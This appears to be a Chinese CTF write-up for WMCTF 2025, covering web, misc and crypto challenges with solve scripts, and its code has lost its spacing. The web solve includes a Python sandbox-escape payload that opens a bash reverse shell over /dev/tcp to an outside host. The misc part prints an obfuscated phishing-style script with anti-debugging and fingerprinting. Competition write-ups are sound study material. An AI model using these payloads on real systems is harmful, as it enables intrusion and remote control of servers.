for i in trange(624, desc="Collecting numbers"): res = session.post(url, json={'key': '0'}) message = res.json().get('message', '') leaked_key = re.search(r'\d+', message) num = int(leaked_key.group(0)) rc.submit(num)
predicted_key = rc.predict_getrandbits(32) payload = """[i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == '_wrap_close'][0].__init__.__globals__['system']("/bin/bash -c 'exec<>/dev/tcp/cat.flag.sh/3001;echo>&0 CoCa1Vej;$0 -i<&0>&0 2>&0'")"""
try: # just if is a pdf parser = PDFParser(io.BytesIO(pdf_content)) doc = PDFDocument(parser) except Exception as e: returnstr(e), 500 withopen(pdf_path, 'wb') as f: f.write(pdf_content)
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
from pdfminer.high_level import extract_pages from pdfminer.layout import LTTextContainer
defpdf_to_text(pdf_path, txt_path): withopen(txt_path, 'w', encoding='utf-8') as txt: for page_layout in extract_pages(pdf_path): for element in page_layout: ifisinstance(element, LTTextContainer): txt.write(element.get_text()) txt.write('\n')
没找到啥参考文章,找ai要了些攻击用例,但都被过滤了,要么不起作用
诶诶诶,原来还是代码审计吗?需要跟进pdfminer包去分析,具体过程看N1和SU战队的wp吧
Reverse
catfriend | 172 solved
记事本打开即送(爽赤)
Misc
phishing email | 38 solved
<!-- Hidden malicious script with multiple layers of obfuscation --> <script><![CDATA[ // Anti-debugging and detection evasion var jXKuzdDMGk = false; var detectionBypass = true; var globalSeed = 0x5A4D; var entropy = []; // Advanced fingerprinting and detection evasion (functionantiDetection() { // Check for WebDriver, PhantomJS, Burp Suite if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp") || navigator.userAgent.includes("HeadlessChrome") || navigator.userAgent.includes("Selenium") || window.chrome && chrome.runtime && chrome.runtime.onConnect) { window.location = "about:blank"; return; } // Advanced environment fingerprinting var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d'); ctx.textBaseline = 'top'; ctx.font = '14px Arial'; ctx.fillText('Browser fingerprint test', 2, 2); var fingerprint = canvas.toDataURL(); // Generate entropy from browser characteristics entropy = [ navigator.hardwareConcurrency || 4, screen.colorDepth, screen.pixelDepth, newDate().getTimezoneOffset(), fingerprint.length, navigator.language.length, window.devicePixelRatio * 1000 | 0 ]; // Check for debugging environment indicators if (window.outerHeight - window.innerHeight > 200 || window.outerWidth - window.innerWidth > 200 || fingerprint.length < 100) { detectionBypass = false; } // Generate seed from entropy globalSeed = entropy.reduce(function(acc, val) { return ((acc << 5) - acc + val) & 0xFFFFFFFF; }, 0x5A4D); })(); // Block developer tools shortcuts document.addEventListener("keydown", function (event) { var blockedKeys = [ { keyCode: 123 }, // F12 { ctrl: true, keyCode: 85 }, // Ctrl + U { ctrl: true, shift: true, keyCode: 73 }, // Ctrl + Shift + I { ctrl: true, shift: true, keyCode: 67 }, // Ctrl + Shift + C { ctrl: true, shift: true, keyCode: 74 }, // Ctrl + Shift + J { ctrl: true, shift: true, keyCode: 75 }, // Ctrl + Shift + K { meta: true, alt: true, keyCode: 73 }, // Cmd + Alt + I (Mac) { meta: true, keyCode: 85 } // Cmd + U (Mac) ]; var isBlocked = blockedKeys.some(function(key) { return (!key.ctrl || event.ctrlKey) && (!key.shift || event.shiftKey) && (!key.meta || event.metaKey) && (!key.alt || event.altKey) && event.keyCode === key.keyCode; }); if (isBlocked) { event.preventDefault(); returnfalse; } }); // Block right-click context menu document.addEventListener('contextmenu', function(event) { event.preventDefault(); returnfalse; }); // Advanced anti-debugging using performance timing with variable thresholds (functiontimingCheck() { var baseThreshold = 50; var dynamicThreshold = baseThreshold + (globalSeed % 100); var checkCount = 0; setInterval(function() { var start = performance.now(); debugger; var end = performance.now(); checkCount++; // Variable threshold based on environment var currentThreshold = dynamicThreshold + (checkCount * 10); if (end - start > currentThreshold && detectionBypass) { jXKuzdDMGk = true; // Redirect with multiple decoy destinations var decoyUrls = ['https://www.google.com', 'https://www.microsoft.com', 'about:blank']; window.location.replace(decoyUrls[globalSeed % decoyUrls.length]); } }, 150 + (globalSeed % 100)); })(); functioncustomPRNG(seed) { var m = 0x80000000; // 2**31 var a = 1103515245; var c = 12345; seed = (a * seed + c) % m; return seed / (m - 1); } functionadvancedXOR(data, keyBase) { var result = ''; var expandedKey = ''; for (var i = 0; i < data.length; i++) { var keyChar = keyBase.charCodeAt(i % keyBase.length); var entropyVal = entropy[i % entropy.length]; var rotatedKey = ((keyChar ^ entropyVal) + globalSeed) % 256; expandedKey += String.fromCharCode(rotatedKey); } for (var j = 0; j < data.length; j++) { result += String.fromCharCode(data.charCodeAt(j) ^ expandedKey.charCodeAt(j)); } return result; } // Main payload - heavily obfuscated with multiple transformation layers setTimeout(function() { if (!jXKuzdDMGk && detectionBypass) { var decoyArray1 = [119,109,99,116,102,123,102,97,107,101,95,102,108,97,103,125]; // wmctf{fake_flag} var decoyArray2 = [104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,99,111,109]; var polymorphicData = [ 'V01DVEZbZmFrZV9mbGFnXQ==', 'bm90X3RoZV9yZWFsX2ZsYWc=', 'ZGVjb3lfZGF0YQ==', '4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y', '4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R', '4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J', '4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B', '4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4' ]; // Layer 3: Environmental validation with complex checks var envValidation = function() { var checks = [ typeofwindow !== 'undefined', typeofdocument !== 'undefined', navigator.userAgent.length > 10, screen.width > 0 && screen.height > 0, Date.now() > 1700000000000, // After 2023 Math.abs(newDate().getTimezoneOffset()) < 1440, // Valid timezone entropy.length === 7, globalSeed !== 0x5A4D// Should be modified by fingerprinting ]; var validCount = checks.filter(Boolean).length; return validCount >= 6; // Require most checks to pass }; // Layer 4: Steganographic data hidden in mathematical sequences var fibSequence = [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584]; var primeSequence = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61]; // Hidden data in sequence differences (steganography) var hiddenIndices = []; for (var i = 1; i < fibSequence.length; i++) { var diff = fibSequence[i] - fibSequence[i-1]; if (diff > 0 && diff < polymorphicData.length) { hiddenIndices.push(diff % polymorphicData.length); } } var generateDynamicKey = function() { var timeComponent = (Date.now() % 86400000).toString(36); // Daily changing component var envComponent = (globalSeed ^ 0xDEADBEEF).toString(36); var browserComponent = (navigator.userAgent.length * screen.colorDepth).toString(36); var staticKey = 'WMCTF_2025_SVG_ANALYSIS'; return staticKey; }; var decryptionPipeline = function() { if (!envValidation()) { console.log('Environment validation failed'); returnnull; } try { var dynamicKey = generateDynamicKey(); var realDataIndices = [3, 4, 5, 6, 7]; // Skip decoy data var encryptedParts = []; for (var i = 0; i < realDataIndices.length; i++) { var idx = realDataIndices[i]; if (idx < polymorphicData.length) { encryptedParts.push(polymorphicData[idx]); } } console.log('Found encrypted parts:', encryptedParts.length); var stage1Results = []; for (var j = 0; j < encryptedParts.length; j++) { var part = encryptedParts[j]; // Convert Unicode escape sequences to characters var decoded = part.replace(/4oyM|4p2[a-zA-Z0-9]|77i[a-zA-Z0-9]/g, function(match) { var charMap = { '4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P', '4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c', '4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f', '77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i', '4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n', '4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's', '4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't', '4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}', '77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!', '4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!' }; return charMap[match] || ''; }); stage1Results.push(decoded); } var combined = stage1Results.join(''); console.log('Stage 1 result:', combined); var finalResult = ''; for (var k = 0; k < combined.length; k++) { var char = combined.charCodeAt(k); var keyChar = dynamicKey.charCodeAt(k % dynamicKey.length); var transformed = char ^ (keyChar % 32); // Reduced XOR for readability finalResult += String.fromCharCode(transformed); } return finalResult; } catch (error) { console.log('Decryption failed:', error.message); returnnull; } }; var mathematicalObfuscation = function() { var phi = 1.618033988749895; // Golden ratio var pi = 3.141592653589793; // Pi var e = 2.718281828459045; // Euler's number var mathKey = Math.floor(phi * 1000) + Math.floor(pi * 1000) + Math.floor(e * 1000); window.mathSegments = [ btoa(String.fromCharCode(mathKey % 256) + segments[0]), btoa(String.fromCharCode((mathKey * 2) % 256) + segments[1]), btoa(String.fromCharCode((mathKey * 3) % 256) + segments[2]), btoa(String.fromCharCode((mathKey * 4) % 256) + segments[3]), btoa(String.fromCharCode((mathKey * 5) % 256) + segments[4]) ]; return mathKey; }; var mathKey = mathematicalObfuscation(); if (detectionBypass && !jXKuzdDMGk && verification()) { constructPayload(); window.extractFlag = function() { try { if (window.hiddenData) { var encoded = atob(window.hiddenData); var key = 'WMCTF2025'; var decoded = ''; for (var i = 0; i < encoded.length; i++) { decoded += String.fromCharCode( encoded.charCodeAt(i) ^ key.charCodeAt(i % key.length) ); } console.log('Extracted flag:', decoded); return decoded; } } catch (e) { console.log('Flag extraction failed'); } }; } } }, 1000); // Decoy functions to confuse analysis functiongenerateFakeTraffic() { var fakeUrls = [ 'https://api.example.com/data', 'https://cdn.jsdelivr.net/npm/package', 'https://fonts.googleapis.com/css' ]; // These would normally make requests but are disabled for CTF } functioncreateFakeElements() { // Create invisible elements with misleading data var hiddenDiv = document.createElement('div'); hiddenDiv.style.display = 'none'; hiddenDiv.innerHTML = atob('RmFrZSBmbGFnOiBXTUNURntub3RfdGhlX3JlYWxfZmxhZ30='); document.body.appendChild(hiddenDiv); } // Initialize decoy functions generateFakeTraffic(); createFakeElements(); // Add click handler for the invoice document.addEventListener('click', function() { if (detectionBypass && !jXKuzdDMGk) { // This would normally redirect to phishing site // window.location.href = 'https://fake-payment-portal.com'; console.log('Invoice clicked - in real attack, this would redirect to phishing site'); } }); ]]></script>
from Crypto.Util.number import * import socketserver import socket
defsplit_master(B_decimal, segment_bits): iflen(segment_bits) < 3: raise ValueError("no") ifsum(segment_bits) != 512: raise ValueError("no") n = len(segment_bits) found_combination = None for k inrange(n,1,-1): from itertools import combinations for indices in combinations(range(n), k): ifsum(segment_bits[i] for i in indices) > 30: continue
valid = True for i inrange(len(indices)): for j inrange(i+1, len(indices)): ifabs(indices[i] - indices[j]) <= 1: valid = False break ifnot valid: break ifnot valid: continue
if0in indices and (n-1) in indices: continue ifany(segment_bits[i]>=25for i in indices): continue found_combination = indices break if found_combination isnotNone: break if found_combination isNone: raise ValueError("no") binary_str = bin(B_decimal)[2:].zfill(512) iflen(binary_str) > 512: raise ValueError("no")
segments_binary = [] start = 0 for bits in segment_bits: end = start + bits segments_binary.append(binary_str[start:end]) start = end segments_decimal = [int(segment, 2) for segment in segments_binary] return [segments_decimal[i] for i in found_combination]
classTask(socketserver.BaseRequestHandler): def_recvall(self): BUFF_SIZE = 2048 data = b'' whileTrue: part = self.request.recv(BUFF_SIZE) data += part iflen(part) < BUFF_SIZE: break return data.strip()
defhandle(self): # 设置socket超时而不是使用signal.alarm self.request.settimeout(90) # 90秒超时 try: flag = b'WMCTF{test}' self.send(b"Welcome to WMCTF2025") key = getPrime(512) print(key) q = getPrime(512) self.send(b"q:"+str(q).encode()) for i inrange(20): a = getPrime(512) b = a * key % q gift = split_master(b, list(map(int, self.recv(b"> ").split()))) self.send(b"a:"+str(a).encode()) self.send(b"gift:"+str(gift).encode()) x = self.recv(b"the key to the flag is: ").decode() if x == str(key): self.send(flag) except socket.timeout: self.send(b"Time's up!") finally: self.request.close() # 确保连接被关闭
defbabai(B, t): B = B.LLL() G = B.gram_schmidt()[0] b = t for i inreversed(range(G.nrows())): b -= B[i] * ((b * G[i]) / (G[i] * G[i])).round() return t - b
m = matrix(ZZ, 21, 21) v = vector(ZZ, 21)
W = 2 ** 512 m[0, 20] = 1 for i inrange(20): io.send(b"-257 513 -257 513") io.recvuntil(b"a:") a = int(io.recvline().decode()) io.recvuntil(b"gift:") gift = literal_eval(io.recvline().decode()) m[0, i] = a * W m[i + 1, i] = q * W v[i] = (gift[0] << 257) * W sol = babai(m, v) print([e.nbits() for e in sol - v]) sol[-1] = sol[-1] % q
defsplit_master(B_decimal, segment_bits): iflen(segment_bits) < 3: raise ValueError("no") ifsum(segment_bits) != 512: raise ValueError("no") n = len(segment_bits) found_combination = None for k inrange(n,1,-1): from itertools import combinations for indices in combinations(range(n), k): ifsum(segment_bits[i] for i in indices) > 30: continue
valid = True for i inrange(len(indices)): for j inrange(i+1, len(indices)): ifabs(indices[i] - indices[j]) <= 1: valid = False break ifnot valid: break ifnot valid: continue
if0in indices and (n-1) in indices: continue ifany(segment_bits[i]>=25for i in indices): continue
found_combination = indices break if found_combination isnotNone: break if found_combination isNone: raise ValueError("no") binary_str = bin(B_decimal)[2:].zfill(512) iflen(binary_str) > 512: raise ValueError("no")
segments_binary = [] start = 0 for bits in segment_bits: end = start + bits segments_binary.append(binary_str[start:end]) start = end segments_decimal = [int(segment, 2) for segment in segments_binary] return [segments_decimal[i] for i in found_combination]
# sage from Crypto.Util.number import * from hashlib import md5
p = 7159749741429322755131240146118071759513715820993285825839372472474407666017557572129271731613358007058734527689330441569348431807180112353088919340436347 A = B = R = gift = [841309, 840]
K_known = (gift[1] << 100) + (gift[0] << 310) C = [(B[i] - A[i] * K_known) % p for i inrange(10)]
from random import choice, sample from Crypto.Cipher import AES from hashlib import md5 from secret import flag
m, n = 90, 64 p = 1048583
E = sample(range(1, p), 3) s = random_vector(Zmod(p), n) A = random_matrix(Zmod(p), m, n) e = vector(Zmod(p), [choice(E) for i inrange(m)]) b = A*s + e
from Crypto.Cipher import AES from ast import literal_eval from random import choice from hashlib import md5 from secret import flag
defcheck(E): assertlen(set([_ % p for _ in E])) == 5 L = block_matrix(ZZ, [ [Matrix(ZZ, E)], [Matrix(ZZ, [1]*5)], [p] ]) E_ = L.LLL()[3] returnmax([abs(_) for _ in E_]) > 1337andmin([abs(_) for _ in E_]) > 337 p = 1048583 E = literal_eval(input("your error plz :)")) assert check(E)
m, n = 90, 56 s = random_vector(Zmod(p), n) A = random_matrix(Zmod(p), m, n) e = vector(Zmod(p), [choice(E) for i inrange(m)]) b = A*s + e
from random import randrange from Crypto.Util.number import getPrime
withopen('flag.txt') as f: FLAG = f.read().strip()
classflavorings: def__init__(self, p, l): self.l, self.p = l, p self.state = [randrange(p) for i inrange(l)] self.a = [randrange(128) for i inrange(l)] def__next__(self): s = choice([sum(self.state[i] ^ d * self.a[i] for i inrange(self.l)) % self.p for d inrange(1, 4)]) self.state = [s] + self.state[:-1] return s
classLemonPepper: def__init__(self, q, t, e1, e2, p, l): self.q, self.t, self.e1, self.e2 = q, t, e1, e2 self.mcg = flavorings(p, l) defLemon(self): q, t, e1, e2 = self.q, self.t, self.e1, self.e2 R.<x> = PolynomialRing(Zmod(q ^ e2)) roots = [randrange(q ^ (e2-e1)) + sum(next(self.mcg) * q ^ (i + t) for i inrange(e1))] + [randrange(q ^ e2) for i inrange(t - 1)] return randrange(q ^ e2) * prod([(x - root) ^ choice(range(2,5)) for root in roots]) defPepper(self): q, t, e = self.q, self.t, self.e2 R.<x> = PolynomialRing(Zmod(q ^ e)) roots = [next(self.mcg) * q ^ 130 + randrange(q ^ 130) + randrange(q ^ 70) * q ^ 131for i inrange(t)] return randrange(q ^ e) * prod([(x - root) * (x - root - q ^ t) for root in roots]) * prod([x - root - q ^ 40for root in sample(roots, 2)])
print("🍋 Precision Zest Injection!") for i inrange(7): print(lemonpepper.Lemon().list())
print("🌶️ Chaotic Spark Ignition!") for i inrange(3): print(lemonpepper.Pepper().list())
print("SHOVE PLATES INTO PORTAL! 🛸🍽️ VALIDATE 🍋🌶️ COMBO OR KITCHEN MELTDOWN! 💣💥") assert [int(i) for i ininput("> ").split(',')] == lemonpepper.mcg.state